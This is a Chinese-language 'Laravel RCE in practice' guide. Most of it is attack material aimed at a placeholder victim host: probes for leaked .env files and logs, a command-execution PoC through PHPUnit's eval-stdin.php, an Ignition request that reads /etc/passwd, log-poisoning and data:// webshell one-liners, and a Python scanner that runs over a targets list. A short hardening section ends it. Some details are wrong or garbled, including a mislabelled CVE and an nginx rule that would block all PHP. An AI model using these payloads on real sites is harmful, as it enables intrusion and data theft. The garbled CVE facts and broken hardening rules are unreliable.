Laravel RCE 实战

1. 危险默认配置

| 默认项 | 风险 |
| APP_DEBUG=true | Ignition 暴露源码和 token |
| .env 权限 777 | 被 Nginx 直接下载 |
| storage/logs 可写 | log 写 webshell |
| vendor/phpunit 进生产镜像 | CVE-2021-3129 |

2. 环境识别

curl -s http://victim.example.com/.env
curl -s http://victim.example.com/.env.bak
curl -s http://victim.example.com/.env.example
curl -s http://victim.example.com/storage/logs/laravel.log
curl -s http://victim.example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
curl -s http://victim.example.com/probe_404_xxx  # 触发 Ignition

3. .env 泄露

APP_KEY=base64:abcdefghijklmnopqrstuvwxyz123456=
DB_PASSWORD=SuperSecret123!
REDIS_PASSWORD=redis_pass
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
JWT_SECRET=jwt_secret_key
STRIPE_KEY=sk_live_xxxx

可直接连接 MySQL 拖库、Redis 写 SSH key、接管云账号、伪造 JWT。

修复: Nginx/ Apache 拦截 .env 和隐藏文件:

location ~ /. { deny all; access_log off; log_not_found off; }

4. CVE-2021-3129 PHPunit eval-stdin

vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 用 eval(file_get_contents('php://stdin')) 执行 POST 内容。

PoC:

curl -s http://victim.example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
# 200 OK with empty body = 存在

curl -d '<?php system("id"); ?>' \
  http://victim.example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

5. Ignition 反序列化 RCE

Laravel 6+ 默认集成 Ignition 错误页,其中 Facade 类可触发 PharDeserializer 或利用 RequestValidator::validate 反序列化。

PoC:

POST /_ignition/execute-solution HTTP/1.1
Host: victim.example.com
Content-Type: application/json
Authorization: Bearer {app_key}

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "test",
    "viewFile": "php://filter/convert.base64-encode/resource=/etc/passwd"
  }
}

6. log 写入 webshell

Laravel 5.8+ 的日志路径可被 \ (反斜杠分隔符) 绕过,将恶意内容写入 storage/logs/laravel.log 后再通过 PHP 解析执行:

# 往日志里写一句话木马 (PHP 标签会被写入日志文件)
curl "http://victim.example.com/?test=<?php+system('id');+?>"
# 访问日志文件触发执行: 注意需要 .log 文件后缀可被 PHP 解析
curl "http://victim.example.com/storage/logs/laravel.log"

7. 其他 PHP 伪协议利用

# php://filter 读取任意文件
curl "http://victim.example.com/?test=php://filter/convert.base64-encode/resource=/etc/passwd"
# data:// 协议写入 webshell
curl "http://victim.example.com/?test=data://text/plain,<?php%20system('id');%20?>/path/to/shell.php"

8. 检测脚本

import requests, urllib3
urllib3.disable_warnings()

def scan(url):
    paths = [
        "/.env", "/.env.bak", "/.env.example", "/storage/logs/laravel.log",
        "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
        "/_ignition/execute-solution", "/app/Http/Controllers/Controller.php.bak",
        "/index.php",
    ]
    for p in paths:
        try:
            r = requests.get(url.rstrip("/") + p, timeout=5, verify=False,
                             allow_redirects=False)
            if r.status_code == 200 and len(r.text) > 10:
                print(f"[+] {url}{p} -> {len(r.text)} bytes")
        except Exception: pass

for u in open("targets.txt"): scan(u.strip())

9. 加固

location ~ /\. { deny all; }
location ~* \.(php|php5|phtml|php7)$ { deny all; }
location ~ /(vendor|storage|config|resources)/ { deny all; }
# .env 必须生产环境
APP_DEBUG=false
APP_ENV=production
# 镜像构建时排除 dev 依赖
composer install --no-dev --optimize-autoloader
# 限制目录权限
chown -R www-data:www-data /var/www
chmod -R 755 /var/www
chmod -R 775 /var/www/storage

最关键: 部署时加 --no-dev,别把 phpunit 带上线。